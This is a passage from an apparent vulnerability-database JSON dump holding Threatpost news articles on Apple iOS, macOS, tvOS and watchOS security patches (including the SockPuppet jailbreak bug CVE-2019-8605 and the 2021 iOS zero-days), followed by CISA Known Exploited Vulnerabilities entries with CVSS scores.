kernel vulnerability \u2013 for the second time \u2013 after it was [accidentally unpatched](<https://threatpost.com/apple-ios-patch-blunder-iphones-jailbreaks/147519/>) in iOS 12.4.\n\nThe flaw ([CVE-2019-8605](<https://support.apple.com/en-us/HT210118>)), a use-after-free issue existing in the kernel, could enable a malicious application to execute arbitrary code with system privileges in up-to-date iOS devices. Worse, the flaw allows phones to be jailbroken \u2014 and a public jailbreak was released last week to take advantage of it on phones running the latest version of iOS.\n\n\u201cA malicious application may be able to execute arbitrary code with system privileges,\u201d according to Apple\u2019s [newest iOS patch](<https://support.apple.com/en-us/HT210549>), iOS 12.4.1, released on Monday. \u201cA use after free issue was addressed with improved memory management.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe release of public jailbreaks \u2014 a method to escape Apple\u2019s limitations on what apps and code can run on the iPhone \u2013 are atypical, especially for up-to-date phones. Jailbreaks are useful for those wanting to install custom code, add features or perform security research outside the purview of the Apple ecosystem \u2013 but can also expose phones to spyware and malware attacks.\n\nThe bug was initially discovered by Google Project Zero research Ned Williamson, who after the initial patch published an [exploit for iOS 12.2](<https://twitter.com/nedwilliamson/status/1149376365495373824?lang=en>), dubbed \u201cSockPuppet,\u201d that utilized the vulnerability to \u201cachieve the kernel_task port on iOS 12.2 on [the]iPhone 6S+.\u201d\n\nApple patched the vulnerability in a previous May update, but its most recent operating system update, iOS 12.4, accidentally unpatched the fix. Then, on Aug. 18 a hacker under the alias \u201cPwn20wnd\u201d [on Github](<https://github.com/pwn20wndstuff/Undecimus/releases>) released various fine-tuned jailbreaks for the latest version of iOS, based on SockPuppet.\n\n\u201cPwn20wnd,\u201d who was also credited in Apple\u2019s Monday update, on Twitter confirmed the patch.\n\n> I can confirm the exploit was patched in iOS 12.4.1 \u2013 \u2013 Stay on iOS 12.4!\n> \n> \u2014 Pwn20wnd is reviving 0-Days (@Pwn20wnd) [August 26, 2019](<https://twitter.com/Pwn20wnd/status/1166051972308324352?ref_src=twsrc%5Etfw>)\n\nApple did not respond to a request for comment from Threatpost.\n\nThe phone giant also released updates for [macOS Mojave and tvOS](<https://support.apple.com/en-us/HT201222>) addressing the kernel vulnerability.\n\n**_Interested in more on the internet of things (IoT)? Don\u2019t miss our free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)**_, \u201cIoT: Implementing Security in a 5G World.\u201d Please join Threatpost senior editor Tara Seals and a panel of experts as they offer enterprises and other organizations insight about how to approach security for the next wave of IoT deployments, which will be enabled by the rollout of 5G networks worldwide. _****_[Click here to register.](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)_**\n", "cvss3": {}, "published": "2019-08-26T19:32:17", "type": "threatpost", "title": "Apple Fixes iOS Flaw That Opened iPhones to Jailbreaks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T19:32:17", "id": "THREATPOST:B8AF83007523DF3B48792EDBDB3DB079", "href": "https://threatpost.com/apple-fixes-ios-flaw-that-opened-iphones-to-jailbreaks/147717/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-12T19:45:12", "description": "Apple on Monday rushed out a [security update](<https://support.apple.com/en-us/HT212846>) for iOS 15.0.2 and iPadOS 15.0.2 to fix a remote code-execution (RCE) zero-day vulnerability that\u2019s being actively exploited.\n\nWithin hours, a security researcher had picked the bug apart and published both proof-of-concept code and an explanation of the vulnerability, meaning that now\u2019s a really good time to update your iOS device.\n\nA week and a half ago, Apple released iOS 15.0.1 to fix a [slew of performance glitches](<https://www.zdnet.com/article/can-you-trust-ios-15-0-1/>), but iOS 15.0.2 is the first security update for the new OS.\n\nMonday\u2019s patch addresses a memory-corruption zero day \u2013 tracked as CVE-2021-30883 \u2013 in IOMobileFrameBuffer, which is a kernel extension that acts as a [screen framebuffer](<https://en.wikipedia.org/wiki/Framebuffer>), allowing developers to control how the memory in a device uses the screen display.\n\n\u201cAn application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited,\u201d the company said.\n\nAttackers who get access to kernel privileges gain full control of an iOS device.\n\nApple typically doesn\u2019t choose to hand weapons to attackers. True to form, the company kept potential attack blueprints close to its vest: It didn\u2019t release technical details for either the vulnerability nor the attack(s) that have exploited it.\n\nNot all are as cautious. Shortly after the patch was released, a security researcher named Saar Amar published both a [technical explanation and proof-of-concept exploit code](<https://saaramar.github.io/IOMFB_integer_overflow_poc/>). He said that he thought that the bug is \u201chighly interesting because it\u2019s accessible from the app sandbox (so it\u2019s great for jailbreaks)\u201d\n\nJailbreaking \u2013 exploiting flaws in a locked-down device in order to install software other than what the manufacturer had in mind or makes available \u2013 gives a device owner the ability to gain full access to the root of the operating system and to access all the features.\n\n## A \u2018Great\u2019 Bug\n\nBesides being \u201cgreat\u201d for jailbreaks, the researcher also said that the vulnerability is \u201ca good candidate for [local privilege escalation, or LPE] exploits in chains (WebContent, etc.).\u201d\n\n\u201cTherefore, I decided to take a quick look, bindiff the patch, and identify the root cause of the bug,\u201d the researcher explained. They were referring to BinDiff, a comparison tool for binary files that helps to quickly find differences and similarities in disassembled code. It\u2019s used by security researchers and engineers to identify and isolate fixes for vulnerabilities in vendor-supplied patches and to analyze multiple versions of the same binary.\n\n\u201cAfter bindiffing and reversing, I saw that the bug is great, and I decided to write this short blogpost, which I hope you\u2019ll find helpful,\u201d the security researcher wrote. \u201cI really want to publish my bindiff findings as close to the patch release as possible, so there will be no full exploit here; However, I did manage to build a really nice and stable POC that results in a great panic at the end,\u201d they said, adding a smiley.\n\nMonday\u2019s zero-day is a kissing cousin to a critical memory-corruption flaw that [Apple patched in July.](<https://threatpost.com/apple-patches-actively-exploited-zero-day-in-ios-macos/168177/>) That bug, [CVE-2021-30807](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30807>), was also actively exploited, also found in the IOMobileFrameBuffer extension in both iOS and macOS, and likewise used to take over systems.\n\nMonday\u2019s update, iOS 15.0.2, is available for iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\n\nApple credited an anonymous researcher with the find.\n\nThe fix comes just weeks after Apple\u2019s September release of [iOS 15](<https://www.apple.com/ios/ios-15/features/>), replete with its much-ballyhooed new security defenses. Specifically, the new operating system comes with a built-in two-factor authentication (2FA) code generator, on-device speech recognition, and multiple anti-tracking security and privacy features. The speech recognition is meant to skirt the privacy concerns that have arisen around iPhone biometrics being sent off to the cloud to be processed (and sometimes [eavesdropped on](<https://threatpost.com/amazon-auditors-listen-to-echo-recordings-report-says/143696/>) by humans).\n\niOS 15 also included [patches](<https://support.apple.com/en-ca/HT212814>) for at least 22 security vulnerabilities, including some that exposed iPhone and iPad users to remote denial-of-service (DoS) and remote execution of arbitrary code with kernel privileges.\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-10-12T15:17:38", "type": "threatpost", "title": "Apple Releases Urgent iOS Updates to Patch New Zero-Day Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-30807", "CVE-2021-30883"], "modified": "2021-10-12T15:17:38", "id": "THREATPOST:760D774FCA5FD00BE1174D5CB428884D", "href": "https://threatpost.com/apple-urgent-ios-updates-zero-day/175419/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-12-15T14:22:42", "description": "As if the [Log4Shell](<https://threatpost.com/apache-log4j-log4shell-mutations/176962/>) [hellscape](<https://threatpost.com/log4shell-bug-smbs-experts/177021/>) wasn\u2019t already driving everybody starkers, it\u2019s time to update iOS 15.2 and a crop of other Apple iGadgets, lest your iPhone get taken over by a malicious app that executes arbitrary code with kernel privileges.\n\nTo paraphrase one mobile security expert, the [iOS 15.2 and iPadOS](<https://support.apple.com/en-us/HT212976>) update \u2013 released by Apple on Monday along with updates for [macOS](<https://support.apple.com/en-us/HT212978>), [tvOS](<https://support.apple.com/en-us/HT212980>) and [watchOS](<https://support.apple.com/en-us/HT212975>) \u2013 is as hairy as a Lhasa Apso.\n\n\u201cIf log4j wasn\u2019t enough, iOS 15.2 is out and it is wild,\u201d [tweeted](<https://twitter.com/ihackbanme/status/1470645022793945089>) Zuk Avraham, CEO at ZecOps, which markets a tool for mobile device log analysis. \u201cMany remote and local vulnerabilities. If you care about your iPhone/iPad security you should update soon.\u201d\n\n> iOS 15.2 is out and it is wild. Many remote and local security issues. If you care about your iPhone/iPad security you should update soon.\n> \n> [Source: <https://t.co/12IWd9tUyF>] [pic.twitter.com/47e8jebFod](<https://t.co/47e8jebFod>)\n> \n> \u2014 Zuk (@ihackbanme) [December 14, 2021](<https://twitter.com/ihackbanme/status/1470645022793945089?ref_src=twsrc%5Etfw>)\n\nApple\u2019s security updates cover multiple vulnerabilities, including a remote jailbreak exploit chain and a number of critical issues in the kernel and Safari web browser that were first disclosed two months ago at the [International Cyber Security Contest Tianfu Cup](<https://www.forbes.com/sites/daveywinder/2021/10/18/iphone-13-pro-hacked-chinese-hackers-suddenly-break-ios-1502-security/?sh=511a9ccd1fe6>) in China. That\u2019s where the shiniest new iPhone \u2013 the iPhone 13 Pro running the most recent and fully patched version of iOS 15.0.2 \u2013 was clobbered in record time, twice.\n\nOne hack was performed live, on stage, using a remote code execution (RCE) exploit of the mobile Safari web browser. It was unleashed by a team from Kunlun Lab and succeeded in a few eyeblinks: 15 seconds, to be precise.\n\nTracked as CVE-2021-30955, the issue that was picked apart by Kunlun Lab could have enabled a malicious application to execute arbitrary code with kernel privileges. Apple said it was a race condition that was addressed with \u201cimproved state handling.\u201d\n\n\u201cThe kernel bug CVE-2021-30955 is the one we tried [to] use to build our remote jailbreak chain but failed to complete on time,\u201d Kunlun Lab\u2019s chief executive, @mj0011sec, [said](<https://twitter.com/mj0011sec/status/1470489020866400256>) in a tweet. It also affects MacOS, according to @mj0011sec, who\u2019s also the former CTO of Qihoo 360.\n\nWhere Kunlun Lab failed, Team Pangu succeeded, managing to remotely jailbreak the iPhone 13 Pro at the Tianfu Cup, marking the first time that the iPhone 13 Pro was publicly jailbroken at a cybersecurity event. The accomplishment netted the team $330,000 in cash rewards.\n\nHere\u2019s the full list of Apple\u2019s security updates from Monday:\n\n * [macOS Monterey 12.1](<https://support.apple.com/en-us/HT212978>)\n * [macOS Big Sur 11.6.2](<https://support.apple.com/en-us/HT212979>)\n * [Security Update 2021-008 Catalina](<https://support.apple.com/en-us/HT212981>)\n * [iOS 15.2 and iPadOS 15.2](<https://support.apple.com/en-us/HT212976>)\n * [tvOS 15.2](<https://support.apple.com/en-us/HT212980>)\n * [watchOS 8.3](<https://support.apple.com/en-us/HT212975>)\n\n## More Fixed Bugs\n\nBesides the remote jailbreak exploit flaw that toppled the iPhone 13 at the Tianfu Cup \u2013 CVE-2021-30955, the discovery of which was credited to Zweig of Kunlun Lab \u2013 Apple patched a total of five flaws in Kernel and four in [IOMobileFrameBuffer](<https://iphonedev.wiki/index.php/IOMobileFramebuffer>), a kernel extension for managing the screen [framebuffer](<https://en.wikipedia.org/wiki/Framebuffer>), which is a portion of RAM that contains a bitmap that drives a video display.\n\nHere are the relevant updates:\n\n * CVE-2021-30927 and CVE-2021-30980: A use after free issue that could allow a malicious application to run arbitrary code with kernel privileges.\n * CVE-2021-30937: A memory corruption vulnerability that could allow a malicious application to run arbitrary code with kernel privileges.\n * CVE-2021-30949: A memory corruption issue that could allow a malicious application to run arbitrary code with kernel privileges.\n * CVE-2021-30993: A buffer overflow issue that could allow an attacker in a privileged network position to execute arbitrary code.\n * CVE-2021-30983: A buffer overflow issue that could allow an application to run arbitrary code with kernel privileges.\n * CVE-2021-30985: An out-of-bounds write issue that could allow a malicious application to run arbitrary code with kernel privileges.\n * CVE-2021-30991: An out-of-bounds read issue that could allow a malicious application to run arbitrary code with kernel privileges.\n * CVE-2021-30996: A [race condition](<https://en.wikipedia.org/wiki/Race_condition>) that could allow a malicious application to run arbitrary code with kernel privileges.\n\n## Nothing Quite Like Aged Cheese, Wine and Software\n\nMiclain Keffeler, application security consultant at application security provider nVisium, told Threatpost on Tuesday that those \u201cwild,\u201d now-patched iOS 15.2 flaws \u201chighlight why the security industry recommends staying on the N-1 or even the N-2 latest version of software patches.\u201d\n\nHe noted that security practitioners \u201coften look at new versions of libraries and operating systems as the latest and greatest, but that often comes at the price of unknown and new attack vectors.\u201d\n\nAs such, we need to let time \u2013 and security testers \u2013 dictate the right cadence to run updates, he continued. \u201cThe particular CVEs \u2013 which have now been patched \u2013 affected very core services, meaning that short of taking your iOS or Mac device off of the internet, the only prevention is our weakest security protection: humans.\n\nThis string of vulnerabilities \u201conly strengthens the security team\u2019s resolve that security is everyone\u2019s job,\u201d he continued. \u201cUsers need to practice good web hygiene as they go about their days by only downloading apps which are trusted, as well as browsing websites that they know are reputable and safe.\u201d\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-12-14T23:10:21", "type": "threatpost", "title": "Apple iOS Update Fixes Cringey iPhone 13 Jailbreak Exploit", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-30927", "CVE-2021-30937", "CVE-2021-30949", "CVE-2021-30955", "CVE-2021-30980", "CVE-2021-30983", "CVE-2021-30985", "CVE-2021-30991", "CVE-2021-30993", "CVE-2021-30996"], "modified": "2021-12-14T23:10:21", "id": "THREATPOST:57E503E30D6F729869ADA40579BF5339", "href": "https://threatpost.com/apple-ios-updates-iphone-13-jailbreak-exploit/177051/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-04-11T11:47:19", "description": "Apple has rolled out 173 patches across in various products across its hardware portfolio, including for dangerous bugs in macOS for laptops and desktops, iPhone, Apple TV and Apple Watch.\n\nThe update also includes a patch for the side-channel vulnerabilities in Intel chips [disclosed on Tuesday](<https://threatpost.com/intel-cpus-impacted-by-new-class-of-spectre-like-attacks/144728/>), which open the door to the attack vectors collectively dubbed \u201cZombieLoad.\u201d\n\nAll Mac laptops stretching back to 2011 are affected by the Intel flaws.\n\n## Side-Channel Flaw\n\nOf particular note in the massive update is a patch for four side-channel bugs that affect the microcode of macOS Mojave 10.14.4 (CVE-2018-12126, CVE-2018-12127, CVE-2018-12130 and CVE-2019-11091).\n\nThese impact load ports, fill buffers, and store buffers in systems with microprocessors utilizing speculative execution. They stem from side-channel vulnerabilities, dubbed Microarchitectural Data Sampling (MDS), impacting all modern Intel chips. Attackers could use speculative execution to potentially leak sensitive data from a system\u2019s CPU.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAn attacker with local user access to potentially enable information disclosure via a side channel,\u201d according to the [Apple advisory](<https://support.apple.com/en-us/HT210119>). \u201cMultiple information-disclosure issues were addressed partially by updating the microcode and changing the OS scheduler to isolate the system from web content running in the browser.\u201d\n\nThe [four different attack vectors](<https://cpu.fail/>) are dubbed ZombieLoad, Fallout, RIDL (Rogue In-Flight Data Load) and Store-to-Leak Forwarding, and have been detailed and publicly disclosed on Tuesday by an array of security researchers.\n\nTo completely address these issues, there are additional [opt-in mitigations](<https://support.apple.com/kb/HT210107>) to disable hyper threading and enable microcode-based mitigations for all processes by default.\n\n## iOS 12.3 Update (42 Fixes)\n\nApple has also rolled out a [cornucopia of patches](<https://support.apple.com/en-us/HT210118>) for iPhone 5s and later, the iPad Air and later, and the sixth-generation iPod touch.\n\nThe most severe are bugs that are also present in the Apple Watch. These include flaws in the kernel (CVE-2019-8605) that would allow a malicious application to execute arbitrary code with system privileges on a target device. It\u2019s a use-after-free issue that was addressed with improved memory management.\n\nAnother shared flaw with Apple Watch is a use-after-free issue in the Mail Message Framework (CVE-2019-8613), which would allow a remote attacker to cause arbitrary code execution. And in MobileLockdown, a malicious application may be able to gain root privileges thanks to an input validation issue (CVE-2019-8637).\n\nYet another flaw shared with Apple Watch (CVE-2019-8620) would allow a device to be passively tracked by its Wi-Fi MAC address.\n\nAside from these, also interesting is a Lock Screen logic problem (CVE-2019-8599) that would allow a person with physical access to an iOS device to see the email address used for iTunes.\n\nAn input validation bug (CVE-2019-8626) in the Mail function meanwhile could lead to denial of service. An attacker could exploit this by sending the target victim a maliciously crafted mail message.\n\nOther patches address vulnerabilities that could be exploited to achieve everything from privilege escalation and escaping sandboxes to overwriting files and information disclosure.\n\n## Safari 12.1.1 Update (21 Fixes)\n\nApple also patched [multiple flaws](<https://support.apple.com/en-us/HT210123>) in the operating systems that power its Macbooks and desktops: macOS Sierra 10.12.6, macOS High Sierra 10.13.6 and macOS Mojave 10.14.5 are vulnerable. All of the bugs are in WebKit, and they can all be exploited via processing maliciously crafted web content.\n\nOne flaw is an out-of-bounds read vulnerability (CVE-2019-8607); and there are also 20 different memory-corruption issues that may lead to arbitrary code-execution. Apple didn\u2019t provide further details.\n\n## tvOS 12.3 Update (35 Fixes)\n\nThe Apple TV 4K and Apple TV HD platforms meanwhile are [riddled with vulnerabilities;](<https://support.apple.com/en-us/HT210120>) 35 of them in all.\n\nMost of them are memory corruption issues (a total of 20) that could allow arbitrary code-execution via maliciously crafted web content.\n\nAnother two memory bugs (in AppleFileConduit, CVE-2019-8593 and in sysdiagnose, CVE-2019-8574) could allow an application to execute arbitrary code with system privileges.\n\nThree bugs were patched in the kernel: A use-after-free issue (CVE-2019-8605) that could lead to arbitrary code-execution with system privileges; an out-of-bounds read (CVE-2019-8576) that could allow a local user to cause unexpected system termination or read kernel memory; and a type confusion issue (CVE-2019-8591) that could allow an application to cause unexpected system termination or write kernel memory.\n\nAlso notable is an out-of-bounds read that could lead to arbitrary code execution in CoreAudio (CVE-2019-8585); and in MobileLockdown, a malicious application may be able to gain root privileges thanks to an input validation issue (CVE-2019-8637).\n\n## watchOS 5.2.1 Update (21 Fixes)\n\nApple Watch Series 1 and later has [a slew of issues](<https://support.apple.com/en-us/HT210122>), many shared with non-updated versions of iOS.\n\nThe most severe of the bunch include a memory corruption issue CVE-2019-8593 in the AppleFileConduit component that could allow an application to execute arbitrary code with system privileges; and an out-of-bounds read bug (CVE-2019-8585) in CoreAudio allowing a maliciously crafted movie file to lead to arbitrary code execution.\n\nThere are also three vulnerabilities in the kernel: A use-after-free issue (CVE-2019-8605) that would allow a malicious application to execute arbitrary code with system privileges (also fixed in iOS); an out-of-bounds read (CVE-2019-8576) that would allow a local user to cause unexpected system termination or read the kernel memory; and a type confusion issue (CVE-2019-8591) that would allow a malicious application to cause unexpected system termination or write kernel memory.\n\nWatch also suffers from the same use-after-free bug in the Mail Message Framework (CVE-2019-8613) that allows remote code-execution; this is also fixed in the iOS update.\n\nAnd, also fixed is the user-privacy issue present in iOS (CVE-2019-8620) that would allow a device to be passively tracked by its Wi-Fi MAC address.\n\n## Apple TV Software 7.3 Update (3 Fixes)\n\nAnd finally, the third-generation Apple TV has [three vulnerabilities](<https://support.apple.com/en-us/HT210121>), existing in both the Bluetooth and Wi-Fi functions.\n\nAn input validation issue in Bluetooth (CVE-2017-14315) could allow a remote attacker to cause an unexpected application termination or arbitrary code execution. And as for Wi-Fi, an attacker within range may be able to execute arbitrary code on the Wi-Fi chip via a memory corruption problem (CVE-2017-9417), or via a stack buffer overflow (CVE-2017-6975)\n\n## Other Fixes\n\nApple also fixed [50 additional vulnerabilities](<https://support.apple.com/en-us/HT210119>) in macOS Mojave 10.14.5; Security Update 2019-003 High Sierra; Security Update 2019-003 Sierra; macOS Sierra 10.12.6; macOS High Sierra 10.13.6; and macOS Mojave 10.14.4.\n\n**_Want to know more about Identity Management and navigating the shift beyond passwords? Don\u2019t miss _**[**_our Threatpost webinar on May 29 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/8039101655437489665?source=ART>)**_. Join Threatpost editor Tom Spring and a panel of experts as they discuss how cloud, mobility and digital transformation are accelerating the adoption of new Identity Management solutions. Experts discuss the impact of millions of new digital devices (and things) requesting access to managed networks and the challenges that follow._**\n", "cvss3": {}, "published": "2019-05-14T20:31:36", "type": "threatpost", "title": "Apple Patches Intel Side-Channel Bugs; Updates iOS, macOS and More", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-14315", "CVE-2017-6975", "CVE-2017-9417", "CVE-2018-12126", "CVE-2018-12127", "CVE-2018-12130", "CVE-2019-11091", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8585", "CVE-2019-8591", "CVE-2019-8593", "CVE-2019-8599", "CVE-2019-8605", "CVE-2019-8607", "CVE-2019-8613", "CVE-2019-8620", "CVE-2019-8626", "CVE-2019-8637"], "modified": "2019-05-14T20:31:36", "id": "THREATPOST:CBFAA2319AF4281EC1DD5C4682601942", "href": "https://threatpost.com/apple-patches-intel-side-channel-ios-macos/144743/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2023-05-27T15:17:54", "description": "Apple iOS and iPadOS contain a buffer overflow vulnerability that could allow an application to execute code with kernel privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-27T00:00:00", "type": "cisa_kev", "title": "Apple iOS and iPadOS Buffer Overflow Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30983"], "modified": "2022-06-27T00:00:00", "id": "CISA-KEV-CVE-2021-30983", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T15:17:54", "description": "Apple iOS, macOS, watchOS, and tvOS contain a memory corruption vulnerability that could allow for remote code execution.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-05-23T00:00:00", "type": "cisa_kev", "title": "Apple Multiple Products Memory Corruption Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30883"], "modified": "2022-05-23T00:00:00", "id": "CISA-KEV-CVE-2021-30883", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T15:41:25", "description": "Apple iOS, iPadOS, and tvOS contain a memory corruption vulnerability that could allow an application to execute code with kernel privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-27T00:00:00", "type": "cisa_kev", "title": "Apple Multiple Products Memory Corruption Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-9907"], "modified": "2022-06-27T00:00:00", "id": "CISA-KEV-CVE-2020-9907", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T15:41:25", "description": "A use-after-free vulnerability in Apple iOS, macOS, tvOS, and watchOS could allow a malicious application to execute code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-27T00:00:00", "type": "cisa_kev", "title": "Apple Multiple Products Use-After-Free Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2022-06-27T00:00:00", "id": "CISA-KEV-CVE-2019-8605", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T17:18:35", "description": "Apple iOS, macOS, tvOS, and watchOS contain a memory corruption vulnerability which can allow for code execution.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-27T00:00:00", "type": "cisa_kev", "title": "Apple Multiple Products Memory Corruption Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344"], "modified": "2022-06-27T00:00:00", "id": "CISA-KEV-CVE-2018-4344", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-06T15:41:25", "description": "Apple iOS, iPadOS, macOS, tvOS, and watchOS contain a memory corruption vulnerability that could allow an application to execute code with kernel privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-27T00:00:00", "type": "cisa_kev", "title": "Apple Multiple Products Memory Corruption Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": 